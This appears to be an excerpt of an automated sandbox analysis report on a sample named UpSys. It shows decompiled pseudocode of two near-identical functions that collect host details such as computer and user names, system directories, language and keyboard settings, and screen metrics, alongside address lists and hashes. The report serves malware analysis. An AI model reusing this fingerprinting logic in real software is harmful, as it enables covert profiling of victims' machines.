                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: cdaabb00bf32c1c3046a66df91a6d79ae644b0a6be61c95491b54c55a4f41858
                                                                                                                                                                                                        • Instruction ID: 8d6f142d9b11ba6b382ac50e104ac65a44b826089f45c2754758636d14682a3a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cdaabb00bf32c1c3046a66df91a6d79ae644b0a6be61c95491b54c55a4f41858
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9DC01232608A9081E7355755B455F5F22A0F74D344F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AC3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AC3(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t176;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr _t179;
				signed long long _t182;
				signed int* _t183;
				signed int* _t184;
				void* _t240;
				intOrPtr _t250;
				int* _t272;
				void* _t274;

				_t269 = __rsi;
				_t183 = __rbx;
				 *(_t274 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t176 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t176 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t274 + 0x48)) = __r14;
				 *((long long*)(_t274 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t176 + 0x3e)) - r14b, _t274 + 0x48);
				 *_t176();
				E0000000114003DF10(_t274 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t272, __rsi);
				 *_t272 = r14d;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 6;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 3;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 9;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 5;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 0xa;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 2;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 7;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 8;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 0x40;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 0x41;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 0x42;
				E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = 0x43;
				E00000001140042150(_t183[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t177 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t177 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t240 =  ==  ? L"X86" : L"X64";
				_t178 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t178 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t178 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t178 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t178 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t178 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t178 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t169 =  *((intOrPtr*)(_t178 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t178 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t179 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t179 + 8));
				_t250 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t179, _t183, _t272, _t250 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t274 + 0x20)) = _t274 + 0xa0;
				E00000001140015DE0(_t183, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t274 + 0x20)) = _t274 + 0xa0;
				E00000001140015DE0(_t183, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t274 + 0x628) =  *(_t274 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t274 + 0xa0) & 0x0000ffff, _t169, _t274 + 0xa0, _t183, _t274 + 0xa0, _t269);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t274 + 0x3c0, L"1, 0, 0, 0"), _t274 + 0x3c0) <= 0) goto 0x40084f9c;
				_t184 = _t274 + 0x3c0;
				_t92 =  *(_t274 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t184 = 0x2e;
				goto 0x40084f7f;
				 *_t184 = _t92;
				_t183 =  &(_t184[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t274 + 0x3c0) < 0) goto 0x40084f63;
				_t182 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t274 + 0x3c0 + _t182 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t182, _t183, _t274 + 0x60, _t269, _t272, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t183, _t272, _t182);
				_t272[2] = r12d;
				 *_t272 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t269 = _t182;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t182, _t274 + 0xa0);
				 *(_t274 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L18;
				_t112 = E00000001140007A40(_t183, _t272, _t269);
				 *_t272 = r12d;
				_t272[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t183, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084ac3
                                                                                                                                                                                                        0x140084ac3
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: be9c966e3ba7641a4dd4057dafb4d3b1c2c47c3a33d94e0eb6dcce1d75aa2be1
                                                                                                                                                                                                        • Instruction ID: b4d9061ad27146a254923de85ae082bc8e55b87f237be3f2ca6f8b4c0498d3a1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: be9c966e3ba7641a4dd4057dafb4d3b1c2c47c3a33d94e0eb6dcce1d75aa2be1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 60C01232608A9081E7355755B059B5F33D0F74D344F501115778A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084ADF Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084ADF(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				intOrPtr _t175;
				signed long long _t178;
				signed int* _t179;
				signed int* _t180;
				void* _t236;
				intOrPtr _t246;
				int* _t268;
				void* _t270;

				_t265 = __rsi;
				_t179 = __rbx;
				 *(_t270 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t172 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t172 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t270 + 0x48)) = __r14;
				 *((long long*)(_t270 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t172 + 0x3e)) - r14b, _t270 + 0x48);
				 *_t172();
				E0000000114003DF10(_t270 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t268, __rsi);
				 *_t268 = r14d;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 6;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 3;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 9;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 5;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 0xa;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 2;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 7;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 8;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 0x40;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 0x41;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 0x42;
				E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = 0x43;
				E00000001140042150(_t179[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t173 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t173 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t236 =  ==  ? L"X86" : L"X64";
				_t174 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t174 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t174 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t174 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t174 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t174 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t174 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t165 =  *((intOrPtr*)(_t174 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t174 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t175 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t175 + 8));
				_t246 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t175, _t179, _t268, _t246 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t270 + 0x20)) = _t270 + 0xa0;
				E00000001140015DE0(_t179, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t270 + 0x20)) = _t270 + 0xa0;
				E00000001140015DE0(_t179, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t270 + 0x628) =  *(_t270 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t270 + 0xa0) & 0x0000ffff, _t165, _t270 + 0xa0, _t179, _t270 + 0xa0, _t265);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t270 + 0x3c0, L"1, 0, 0, 0"), _t270 + 0x3c0) <= 0) goto 0x40084f9c;
				_t180 = _t270 + 0x3c0;
				_t92 =  *(_t270 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t180 = 0x2e;
				goto 0x40084f7f;
				 *_t180 = _t92;
				_t179 =  &(_t180[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t270 + 0x3c0) < 0) goto 0x40084f63;
				_t178 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t270 + 0x3c0 + _t178 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t178, _t179, _t270 + 0x60, _t265, _t268, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t179, _t268, _t178);
				_t268[2] = r12d;
				 *_t268 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t265 = _t178;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t178, _t270 + 0xa0);
				 *(_t270 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L14;
				_t112 = E00000001140007A40(_t179, _t268, _t265);
				 *_t268 = r12d;
				_t268[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t179, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084adf
                                                                                                                                                                                                        0x140084adf
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
